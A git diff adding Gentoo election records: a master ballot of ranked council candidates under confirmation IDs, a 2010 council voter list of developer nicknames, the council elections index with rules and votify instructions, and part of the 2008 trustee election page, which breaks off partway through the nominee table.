+wired
+scarabeus
+jmbsvicetto
+chainsaw
+--------- confirmation c196 ---------
+jmbsvicetto chainsaw halcy0n scarabeus
+wired phajdan.jr
+ferringb betelgeuse
+_reopen_nominations
+sping patrick
+--------- confirmation 135c ---------
+sping
+chainsaw
+wired
+ferringb
+_reopen_nominations
+jmbsvicetto betelgeuse phajdan.jr patrick scarabeus halcy0n
+--------- confirmation c30a ---------
+chainsaw ferringb patrick scarabeus wired
+betelgeuse halcy0n phajdan.jr sping
+jmbsvicetto
+_reopen_nominations
+--------- confirmation c374 ---------
+jmbsvicetto
+betelgeuse halcy0n
+patrick wired
+_reopen_nominations
+--------- confirmation 01f9 ---------
+sping
+chainsaw
+phajdan.jr
+ferringb
+wired
+patrick
+scarabeus
+betelgeuse
+_reopen_nominations
+jmbsvicetto
+halcy0n
+--------- confirmation c547 ---------
+jmbsvicetto
+halcy0n
+patrick
+ferringb
+scarabeus
+sping
+wired
+phajdan.jr
+chainsaw
+betelgeuse
+--------- confirmation c77d ---------
+scarabeus ferringb jmbsvicetto chainsaw halcy0n
+wired
+patrick
+_reopen_nominations
+phajdan.jr
+sping betelgeuse
+--------- confirmation cba2 ---------
+jmbsvicetto
+halcy0n
+chainsaw ferringb
+scarabeus wired sping
+patrick betelgeuse phajdan.jr _reopen_nominations
+--------- confirmation cbc9 ---------
+jmbsvicetto
+patrick
+scarabeus
+sping
+chainsaw
+halcy0n
+ferringb
+wired
+betelgeuse
+phajdan.jr
+_reopen_nominations
+--------- confirmation 14b2 ---------
+ferringb chainsaw halcy0n jmbsvicetto
+betelgeuse
+scarabeus
+patrick
+wired
+phajdan.jr
+sping
+_reopen_nominations
+--------- confirmation cf62 ---------
+betelgeuse scarabeus
+patrick chainsaw ferringb
+halcy0n jmbsvicetto
+_reopen_nominations
+phajdan.jr
+wired
+sping
+--------- confirmation d942 ---------
+ferringb
+betelgeuse jmbsvicetto wired
+chainsaw
+patrick
+phajdan.jr
+halcy0n
+scarabeus
+_reopen_nominations
+sping
+--------- confirmation 15c6 ---------
+halcy0n
+chainsaw
+betelgeuse
+jmbsvicetto
+ferringb
+sping
+phajdan.jr
+patrick
+wired
+scarabeus
+_reopen_nominations
+--------- confirmation de9d ---------
+ferringb halcy0n chainsaw
+_reopen_nominations
+phajdan.jr sping jmbsvicetto patrick wired scarabeus betelgeuse
+--------- confirmation df4e ---------
+betelgeuse
+halcy0n
+ferringb
+chainsaw
+jmbsvicetto
+patrick
+phajdan.jr
+_reopen_nominations
+sping
+wired
+scarabeus
+--------- confirmation dff0 ---------
+halcy0n
+scarabeus
+patrick
+phajdan.jr betelgeuse chainsaw jmbsvicetto
+sping wired ferringb
+_reopen_nominations
+--------- confirmation e471 ---------
+halcy0n ferringb betelgeuse
+jmbsvicetto
+wired scarabeus chainsaw patrick phajdan.jr
+_reopen_nominations
+sping
+--------- confirmation e9c2 ---------
+betelgeuse
+jmbsvicetto
+scarabeus
+ferringb
+halcy0n
+phajdan.jr wired chainsaw
+_reopen_nominations
+patrick sping
+--------- confirmation eb5b ---------
+sping phajdan.jr scarabeus wired
+betelgeuse ferringb halcy0n chainsaw
+jmbsvicetto patrick
+_reopen_nominations
+--------- confirmation eb9f ---------
+sping jmbsvicetto
+halcy0n phajdan.jr
+chainsaw wired
+betelgeuse
+_reopen_nominations
+patrick
+ferringb
+scarabeus
+--------- confirmation ebdd ---------
+ferringb
+jmbsvicetto
+sping
+chainsaw
+halcy0n
+betelgeuse
+phajdan.jr
+wired scarabeus
+patrick
+_reopen_nominations
+--------- confirmation eda8 ---------
+sping
+phajdan.jr
+wired
+scarabeus
+ferringb
+halcy0n
+_reopen_nominations
+patrick
+jmbsvicetto
+chainsaw
+betelgeuse
+--------- confirmation f0f1 ---------
+sping
+phajdan.jr
+wired
+scarabeus
+patrick
+chainsaw
+jmbsvicetto
+halcy0n
+betelgeuse
+ferringb
+_reopen_nominations
+--------- confirmation 182f ---------
+ferringb phajdan.jr sping
+betelgeuse halcy0n
+scarabeus
+_reopen_nominations
+jmbsvicetto patrick
+chainsaw wired
+--------- confirmation f2b3 ---------
+chainsaw
+betelgeuse
+jmbsvicetto scarabeus halcy0n ferringb
+_reopen_nominations
+phajdan.jr
+patrick
+sping
+wired
+--------- confirmation f33d ---------
+ferringb
+betelgeuse
+halcy0n
+patrick
+phajdan.jr chainsaw wired jmbsvicetto scarabeus sping
+_reopen_nominations
+--------- confirmation f375 ---------
+ferringb
+jmbsvicetto
+halcy0n
+scarabeus
+chainsaw wired phajdan.jr betelgeuse
+_reopen_nominations
+patrick
+sping
+--------- confirmation 18a6 ---------
+ferringb
+betelgeuse phajdan.jr scarabeus wired sping chainsaw
+patrick jmbsvicetto halcy0n
+_reopen_nominations
+--------- confirmation f80a ---------
+betelgeuse jmbsvicetto
+scarabeus ferringb
+halcy0n
+wired
+chainsaw
+patrick
+_reopen_nominations
+phajdan.jr
+sping
+--------- confirmation f822 ---------
+halcy0n
+jmbsvicetto
+chainsaw
+betelgeuse
+wired
+ferringb
+phajdan.jr
+scarabeus
+patrick
+sping
+_reopen_nominations
+--------- confirmation f8b2 ---------
+jmbsvicetto
+ferringb
+halcy0n
+patrick
+betelgeuse
+wired
+chainsaw
+scarabeus
+_reopen_nominations
+phajdan.jr
+sping
+--------- confirmation f8b9 ---------
+halcy0n
+patrick
+ferringb
+jmbsvicetto
+scarabeus
+chainsaw
+wired
+phajdan.jr
+sping
+_reopen_nominations
+betelgeuse
+--------- confirmation fb2b ---------
+chainsaw betelgeuse scarabeus sping halcy0n phajdan.jr wired jmbsvicetto
+_reopen_nominations
+ferringb patrick
+--------- confirmation fb91 ---------
+jmbsvicetto betelgeuse ferringb chainsaw
+patrick
+halcy0n scarabeus
+phajdan.jr wired sping
+_reopen_nominations
+--------- confirmation fde0 ---------
+patrick sping
+jmbsvicetto phajdan.jr wired
+chainsaw ferringb
+_reopen_nominations
+betelgeuse halcy0n scarabeus
+--------- confirmation feec ---------
+halcy0n
+chainsaw
+ferringb
+scarabeus
+wired
+patrick
+jmbsvicetto
+phajdan.jr
+betelgeuse
+sping
+_reopen_nominations
+--------- confirmation ff80 ---------
+jmbsvicetto
+betelgeuse
+halcy0n
+ferringb
+chainsaw
+sping
+phajdan.jr
+scarabeus
+patrick
+wired
+_reopen_nominations
+--------- confirmation 1b11 ---------
+ferringb
+halcy0n
+jmbsvicetto betelgeuse patrick scarabeus
+phajdan.jr wired chainsaw
+_reopen_nominations
+sping
+--------- confirmation 1e7e ---------
+sping
+patrick
+scarabeus
+jmbsvicetto
+wired
+ferringb
+phajdan.jr
+_reopen_nominations
+betelgeuse
+halcy0n
+chainsaw
+--------- confirmation 2111 ---------
+_reopen_nominations
+ferringb
+chainsaw
+phajdan.jr
+scarabeus
+wired
+betelgeuse
+halcy0n
+patrick
+jmbsvicetto
+sping
+--------- confirmation 243b ---------
+sping
+betelgeuse
+ferringb
+jmbsvicetto
+patrick
+halcy0n
+scarabeus
+chainsaw
+wired
+phajdan.jr
+_reopen_nominations
diff --git a/xml/htdocs/proj/en/elections/council/2010/voters-council201006.txt b/xml/htdocs/proj/en/elections/council/2010/voters-council201006.txt
new file mode 100644
index 00000000..ab66a82a
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/2010/voters-council201006.txt
@@ -0,0 +1,270 @@
+a3li
+aballier
+abcd
+aetius
+agaffney
+alexxy
+ali_bush
+amne
+anarchy
+angelos
+antarus
+araujo
+arfrever
+armin76
+asn
+asym
+ayoy
+b33fc0d3
+bangert
+basic
+bass
+battousai
+beandog
+betelgeuse
+bicatali
+billie
+blackace
+bluebird
+calchan
+caleb
+cam
+cardoe
+carlo
+caster
+cedk
+chainsaw
+chiguire
+chiiph
+chithanh
+chtekk
+chutzpah
+cla
+codeman
+coldwind
+corsair
+craig
+cryos
+d2_racing
+dabbott
+dagger
+dams
+dang
+darkside
+dav_it
+dberkholz
+deathwing00
+dertobi123
+desultory
+dev-zero
+dirtyepic
+djay
+djc
+dmwaters
+dostrow
+dragonheart
+drizzt
+dsd
+earthwings
+elvanor
+eva
+falco
+fauli
+ferringb
+flameeyes
+flammie
+fmccor
+fordfrog
+ford_prefect
+fox2mike
+fuzzyray
+g2boojum
+gengor
+genstef
+george
+gmsoft
+graaff
+gregkh
+griffon26
+grobian
+grozin
+gurligebis
+halcy0n
+hanno
+hattya
+haubi
+hd_brummy
+hkbst
+hncaldwell
+hoffie
+hollow
+hparker
+humpback
+hwoarang
+i92guboj
+ian
+idl0r
+ikelos
+iluxa
+jaervosz
+je_fro
+jer
+jkt
+jlec
+jmbsvicetto
+joker
+jokey
+josejx
+jrinkovs
+jsbronder
+jurek
+kallamej
+kanaka
+ken69267
+keri
+kernelsensei
+keytoaster
+killerfox
+kingtaco
+klausman
+klieber
+kolmodin
+kumba
+lack
+lavajoe
+leio
+livewire
+loki_val
+lordvan
+lu_zero
+lxnay
+mabi
+maedhros
+maekke
+marineam
+mark_alec
+markm
+markusle
+matsuu
+mattepiu
+mbres
+mdisney
+mduft
+mescalinum
+micm
+miknix
+mpagano
+mr_bones_
+mrness
+mrpouet
+mueli
+musikc
+nathanzachary
+neddyseagoon
+nelchael
+nerdboy
+neurogeek
+neysx
+nightmorph
+nimiux
+nirbheek
+nixnut
+nixphoeni
+nyhm
+omp
+pacho
+patrick
+pauldv
+pchrist
+pebenito
+peitolm
+peper
+phajdan.jr
+phosphan
+pilla
+pjp
+polvi
+polynomial-c
+pva
+pvdabeel
+py
+pythonhead
+quantumsummers
+r0bertz
+radek
+rajiv
+ramereth
+rane
+ranger
+rbu
+reavertm
+redhatter
+remi
+ribosome
+rich0
+ricmm
+rl03
+robbat2
+s4t4n
+sbriesen
+scarabeus
+scen
+serkan
+shadow
+shindo
+sirseoman
+smithj
+sochotnicky
+solar
+spatz
+sping
+spock
+ssuominen
+steev
+stefaan
+suka
+swegener
+tampakrap
+tanderson
+tantive
+tcunha
+tester
+tgall
+tgurr
+the_paya
+think4urs11
+timebandit
+titefleur
+tomjbe
+tomk
+tommy
+tove
+trapni
+truedfx
+tsunam
+tupone
+ulm
+vadimk
+vanquirius
+vapier
+volkmar
+vorlon
+vostorga
+voxus
+voyageur
+weaver
+welp
+williamh
+wired
+wormo
+wrobel
+wschlich
+xarthisius
+xmerlin
+yngwin
+yoswink
+yuval
+yvasilev
+zmedico
+zorry
+zzam
diff --git a/xml/htdocs/proj/en/elections/council/index.xml b/xml/htdocs/proj/en/elections/council/index.xml
new file mode 100644
index 00000000..e9721da1
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/council/index.xml
@@ -0,0 +1,231 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/elections/council/index.xml,v 1.11 2010/07/23 13:52:26 tove Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/elections/council/index.xml">
+<title>Gentoo Council Elections Archives</title>
+
+<author title="Author">
+  <mail link="jmbsvicetto"/>
+</author>
+
+<abstract>
+This page lists a summary of the Gentoo Council Elections, including the
+Results for previous elections and links for each election.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-12-30</date>
+
+<chapter>
+<title>Gentoo Council Elections</title>
+<section>
+<title>Gentoo Council elections Rules</title>
+<body>
+
+<p>
+Election rules (based on <uri link="/proj/en/glep/glep-0039.html">GLEP 39</uri>):
+</p>
+
+<ul>
+  <li>Council elections generally happen once a year</li>
+  <li>The council is composed of seven elected members</li>
+  <li>Nominations are allowed for 15 days.</li>
+  <li>Only Gentoo developers may be nominated</li>
+  <li>Anyone can nominate (nominating yourself is OK)</li>
+  <li>Nominees must accept their nomination before voting begins</li>
+  <li>Voting is opened for 15 days.</li>
+  <li>Only Gentoo developers that have joined the project before nomination starts may vote</li>
+  <li>Condorcet method of voting is used</li>
+</ul>
+
+<p>
+There should be at least three officials for this election plus one Gentoo
+Infrastructure project member assigned to it to handle their side of the
+process. Officials are allowed to vote in the election but aren't allowed to run
+in it. Nominating and accepting nominations should happen on the
+<c>gentoo-dev</c> mailing list.
+</p>
+
+</body>
+</section>
+<section>
+<title>Condorcet method of voting</title>
+<body>
+
+<p>
+For both Foundation and Council elections, <uri
+link="http://en.wikipedia.org/wiki/Condorcet_method">Condorcet method of
+voting</uri> is used to count votes.
+</p>
+
+<p>
+To cast votes in the Council election we use the program named <c>votify</c>
+which is installed on <c>dev.gentoo.org</c>.
+</p>
+
+<p>
+Instructions on how to use <c>votify</c> to cast a vote:
+</p>
+
+<ul>
+  <li>If you're eligible to vote in that election, log in to <c>dev.gentoo.org</c></li>
+  <li>Type <c>votify --new election-name</c> to create a new ballot file</li>
+  <li>
+    Edit <path>.ballot-election-name</path> file in your home directory and rank
+    the candidates
+  </li>
+  <li>
+    Once you're finished, use <c>votify --verify election-name</c> command to
+    verify the validity of your ballot file
+  </li>
+  <li>
+    If everything is okay, use <c>votify --submit election-name</c> to submit
+    your vote for the election. Don't forget your vote doesn't count until
+    you submit it.
+  </li>
+  <li>
+    If you run into problems, you can either work them out yourself using
+    <c>votify --help</c> or contact election officials and ask them for help
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Gentoo Council election pages</title>
+<body>
+
+<p>
+Council Elections:
+</p>
+
+<table>
+<tr>
+  <th>Election</th>
+  <th>Nominees</th>
+  <th>Results</th>
+  <th>Rank</th>
+  <th>Master Ballot</th>
+  <th>voters</th>
+</tr>
+<tr>
+  <ti>council2008 Election</ti>
+  <ti>
+    <uri link="2008/council-2008-nominees.xml">
+    2008/06 Nominees</uri>
+  </ti>
+  <ti>
+    <uri link="2008/council-2008-results.txt">
+    2008/06 Results</uri>
+  </ti>
+  <ti>
+  	<uri link="2008/council-2008-rank.txt">
+  	2008/06 rank</uri>
+  </ti>
+  <ti>
+    <uri link="2008/council-2008-master.txt">
+    2008/06 Master Ballot</uri>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>council2008b Election</ti>
+  <ti>
+    <uri link="2008/council-200811-nominees.xml">
+      2008/11 Nominees</uri>
+  </ti>
+  <ti>
+    <uri link="2008/council-200811-results.txt">
+    2008/11 Results</uri>
+  </ti>
+  <ti>
+  	<uri link="2008/council-200811-rank.txt">
+  	2008/11 rank</uri>
+  </ti>
+  <ti>
+    <uri link="2008/council-200811-master.txt">
+    2008/11 Master Ballot</uri>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>council200906 Election</ti>
+  <ti>
+    <uri link="2009/council-200906-nominees.xml">
+    2009/06 Nominees</uri>
+  </ti>
+  <ti>
+    <uri link="2009/council-200906-results.txt">
+    2009/06 Results</uri>
+  </ti>
+  <ti>
+    <uri link="2009/council-200906-rank.txt">
+    2009/06 rank</uri>
+  </ti>
+  <ti>
+    <uri link="2009/council-200906-master.txt">
+    2009/06 Master Ballot</uri>
+  </ti>
+  <ti>
+    <uri link="2009/voters-council200906.txt">
+    2009/06 voters</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>council200912 Election</ti>
+  <ti>
+    <uri link="2009/council-200912-nominees.xml">
+    2009/12 Nominees</uri>
+  </ti>
+  <ti>
+    <uri link="2009/council-200912-results.txt">
+    2009/12 Results</uri>
+  </ti>
+  <ti>
+    <uri link="2009/council-200912-rank.txt">
+    2009/12 rank</uri>
+  </ti>
+  <ti>
+    <uri link="2009/master-council200912.txt">
+    2009/12 Master Ballot</uri>
+  </ti>
+  <ti>
+    <uri link="2009/voters-council200912.txt">
+    2009/12 voters</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>council201006 Election</ti>
+  <ti>
+    <uri link="2010/council-201006-nominees.xml">
+    2010/06 Nominees</uri>
+  </ti>
+  <ti>
+    <uri link="2010/council-201006-results.txt">
+    2010/06 Results</uri>
+  </ti>
+  <ti>
+    <uri link="2010/council-201006-rank.txt">
+    2010/06 rank</uri>
+  </ti>
+  <ti>
+    <uri link="2010/master-council201006.txt">
+    2010/06 Master Ballot</uri>
+  </ti>
+  <ti>
+    <uri link="2010/voters-council201006.txt">
+    2010/06 voters</uri>
+  </ti>
+</tr>
+
+</table>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/elections/foundation-200802.xml b/xml/htdocs/proj/en/elections/foundation-200802.xml
new file mode 100644
index 00000000..14d57ef4
--- /dev/null
+++ b/xml/htdocs/proj/en/elections/foundation-200802.xml
@@ -0,0 +1,462 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/elections/foundation-200802.xml,v 1.46 2009/06/01 04:09:53 jmbsvicetto Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/elections/foundation-200802.xml">
+<title>Gentoo Trustee Elections, February 2008</title>
+
+<author title="Official">
+  <mail link="rane"/>
+</author>
+<author title="Official">
+  <mail link="jmbsvicetto"/>
+</author>
+<author title="Official">
+  <mail link="rich0"/>
+</author>
+<author title="Infrastructure Contact">
+  <mail link="fox2mike"/>
+</author>
+
+<abstract>
+This page contains all the information about upcoming elections for the Gentoo
+Trustee Board.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>18</version>
+<date>2009-06-01</date>
+
+<chapter>
+<title>Election</title>
+<section>
+<title>Officials</title>
+<body>
+
+<p>
+The purpose of this election was to choose five members to form the next Gentoo
+Foundation Board of Trustees. More information about their roles and duties can
+be found in the <uri link="http://www.gentoo.org/foundation/en/">Gentoo
+Foundation Charter</uri>. Archives of the <uri
+link="http://archives.gentoo.org/gentoo-nfp/date.xml">gentoo-nfp</uri> mailing
+list contain most recent information about elections progress. If you have any
+questions or suggestions, please contact the election officials.
+</p>
+
+<p>
+Officials running this election were <mail link="rane"/>, <mail
+link="jmbsvicetto"/> and <mail link="rich0"/>. The infrastructure contact for
+this election was <mail link="fox2mike"/>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Time table</title>
+<body>
+
+<ul>
+  <li>Nominations: 2008-01-29 until 2008-02-12 (CLOSED)</li>
+  <li>Polls: 2008-02-14 until 2008-02-28 (CLOSED)</li>
+  <li>Term: starts on 2008-03-01</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Winners</title>
+<body>
+
+<p>
+We're pleased to present you the ranked list of all elected Gentoo Foundation
+Trustees:
+</p>
+
+<ul>
+  <li><mail link="NeddySeagoon"/></li>
+  <li><mail link="fmccor"/></li>
+  <li><mail link="tsunam"/></li>
+  <li><mail link="tgall"/></li>
+  <li><mail link="wltjr"/></li>
+</ul>
+
+<p>
+We published the <uri link="/proj/en/elections/trustees/2008/master-trustees2008.txt">
+master ballot file</uri>. This file contains all submitted ballots. Each of this
+ballots can be identified using a confirmation ID. Every person who voted in
+this election was mailed their ID by one of election officials. If you haven't
+received your ID, please contact one of election officials to provide you with
+that information. Using this ID and master ballot file people who voted can
+verify that their votes were included during counting votes.
+</p>
+
+<p>
+We also published the full <uri
+link="/proj/en/elections/trustees/2008/condorcet-trustees2008.txt">countify script
+output</uri> so you can check how the whole vote counting was done.
+</p>
+
+</body>
+</section>
+<section>
+<title>Election  turnout</title>
+<body>
+
+<p>
+In this section we present data showing how many of eligible persons have voted
+in this election.
+</p>
+
+<ul>
+  <li>Total voters: 295</li>
+  <li>Submitted ballots: 107</li>
+  <li>Current turnout: 36%</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Nominees</title>
+<body>
+
+<p>
+Everybody could nominate one of eligible persons to run in the election.
+Nominees had to be a minimum of 18 years of age, they also had to be current
+Gentoo Foundation Members or active Gentoo Developers for at least a year before
+polls closing date. All nominations were sent to the <uri
+link="/main/en/lists.xml">gentoo-nfp</uri> mailing list. To run in the election,
+a nominated person had to accept his nomination on the same mailing list.
+</p>
+
+<p>
+Now nominations are closed and people who were nominated and decided to run in
+the election are named in the following table:
+</p>
+
+<table>
+<tr>
+  <th>Nominee</th>
+  <th>Nickname</th>
+  <th>Nominated by</th>
+  <th>Date</th>
+  <th>Status</th>
+  <th>Links</th>
+</tr>
+<tr>
+  <ti><mail link="wltjr"/></ti>
+  <ti>wltjr</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_7995aee54b079449dea060c3df04cc4c.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_4819de84b3524bfe21105f7e543ad1d7.xml">Accepted</uri></ti>
+  <ti><uri link="http://dev.gentoo.org/~wltjr/manifestos/2008_gentoo_board_of_trustees.xml">
+    wltjr's Trustee Election 2008 Manifesto</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><mail link="NeddySeagoon"/></ti>
+  <ti>NeddySeagoon</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_7995aee54b079449dea060c3df04cc4c.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_c84759ecef0bf296151f592d3380eaca.xml">Accepted</uri></ti>
+  <ti><uri link="http://dev.gentoo.org/~neddyseagoon/docs/manifesto.xml">NeddySeagoon's Trustee Election 2008 Manifesto</uri></ti>
+</tr>
+<tr>
+  <ti><mail link="tgall"/></ti>
+  <ti>tgall</ti>
+  <ti><mail link="ranger"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_f37399f0920c1a1b9257db56fd5fce40.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_4cf336ff7741092ba90b04d6c9f3f2d8.xml">Accepted</uri></ti>
+  <ti><uri link="http://web.mac.com/tom_gall/iWeb/.MAC/Blog/F4B48D6F-8014-47CE-A56F-F5DF6D9356C6.html">
+    tgall's Trustee Election 2008 Manifesto</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><mail link="patrick"/></ti>
+  <ti>patrick</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_aa0d93dc26452ecc6244096c5d129509.xml">30 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_5658b69f15823755678d0be011f3b5b8.xml">Accepted</uri></ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_68841e60297b8371a7c51dab3f1e7b79.xml">
+    patrick's Trustee Election 2008 Manifesto</uri>
+  </ti>
+</tr>
+<tr>
+  <ti><mail link="tsunam"/></ti>
+  <ti>tsunam</ti>
+  <ti><mail link="fuzzyray"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_2ef85113128f3c97c1350e5dde21c5b3.xml">30 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_827418bd5ddb68ac4c98fd7f041009ba.xml">Accepted</uri></ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="je_fro"/></ti>
+  <ti>je_fro</ti>
+  <ti><mail link="wolf31o2"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_a48f9d58e0bbe07fbf02363907a3b6ef.xml">31 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_2afae92bc883df44c0a7e23a59e07ed8.xml">Accepted</uri></ti>
+  <ti><uri link="http://je-fro.net/Gentoo_Microfesto.html">je_fro's Trustee Election 2008 Manifesto</uri></ti>
+</tr>
+<tr>
+  <ti><mail link="fmccor"/></ti>
+  <ti>fmccor</ti>
+  <ti><mail link="NeddySeagoon"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_b1231ad7b2daad278b8c01c57d761c7a.xml">08 Feb 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_f99580558a8ee52bb66e4deffbb33196.xml">Accepted</uri></ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_732104ea7c78c2da8d0b458f4c9d2e81.xml">
+    fmccor's Trustee Election 2008 Manifesto</uri></ti>
+</tr>
+<tr>
+  <ti><mail link="jakub"/></ti>
+  <ti>jakub</ti>
+  <ti><mail link="patrick"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_5658b69f15823755678d0be011f3b5b8.xml">03 Feb 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_997dbfb266ee570c1d2f3161a1bb7aeb.xml">Accepted</uri></ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_997dbfb266ee570c1d2f3161a1bb7aeb.xml">jakub's Trustee Election 2008 Manifesto</uri></ti>
+</tr>
+</table>
+
+<p>
+The following table presents people who were nominated but didn't agree to run
+in the elections.
+</p>
+
+<table>
+<tr>
+  <th>Nominee</th>
+  <th>Nickname</th>
+  <th>Nominated by</th>
+  <th>Date</th>
+  <th>Status</th>
+  <th>Links</th>
+</tr>
+<tr>
+  <ti><mail link="zmedico"/></ti>
+  <ti>zmedico</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_7995aee54b079449dea060c3df04cc4c.xml">29 Jan 2008</uri>
+  </ti>
+  <ti>didn't reply</ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="pauldv"/></ti>
+  <ti>pauldv</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_7995aee54b079449dea060c3df04cc4c.xml">29 Jan 2008</uri>
+  </ti>
+  <ti>didn't reply</ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="seemant"/></ti>
+  <ti>seemant</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_7995aee54b079449dea060c3df04cc4c.xml">29 Jan 2008</uri>
+  </ti>
+  <ti>didn't reply</ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="rl03"/></ti>
+  <ti>rl03</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_7995aee54b079449dea060c3df04cc4c.xml">29 Jan 2008</uri>
+  </ti>
+  <ti>didn't reply</ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="beandog"/></ti>
+  <ti>beandog</ti>
+  <ti><mail link="opfer"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_b5bd4e30e1df6ac7ddbda7679669bc75.xml">02 Feb 2008</uri>
+  </ti>
+  <ti>didn't reply</ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="klieber"/></ti>
+  <ti>klieber</ti>
+  <ti><mail link="wltjr"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_03e880e6515697b87ac96fb45d532e1b.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_4583c142d977a416b09d5eafcac11690.xml">Declined</uri></ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="jokey"/></ti>
+  <ti>jokey</ti>
+  <ti><mail link="wltjr"/></ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_03e880e6515697b87ac96fb45d532e1b.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_b41f231b9ddf3eac9cc8353c24f33835.xml">Declined</uri></ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="drobbins"/></ti>
+  <ti>drobbins</ti>
+  <ti>Andrew Zane</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_1584c32a017b478673804dadc7a44585.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_69f1aacf7c96923b7e6faa1eaa7cb0b1.xml">Declined</uri></ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="dsd"/></ti>
+  <ti>dsd</ti>
+  <ti>George Prowse</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_bd5237d0f04bf719503c774a7baf64bc.xml">01 Feb 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_2e803740ab1a72872dfa4efbcf5440eb.xml">Declined</uri></ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="solar"/></ti>
+  <ti>solar</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_7995aee54b079449dea060c3df04cc4c.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_6cf24ea7a2c9d713e60645c922c53bc8.xml">Declined</uri></ti>
+  <ti>none</ti>
+</tr>
+<tr>
+  <ti><mail link="g2boojum"/></ti>
+  <ti>g2boojom</ti>
+  <ti>Steve Long</ti>
+  <ti>
+    <uri link="http://archives.gentoo.org/gentoo-nfp/msg_7995aee54b079449dea060c3df04cc4c.xml">29 Jan 2008</uri>
+  </ti>
+  <ti><uri link="http://archives.gentoo.org/gentoo-nfp/msg_45db13524805788ce1d49944d0efa0c3.xml">Declined</uri></ti>
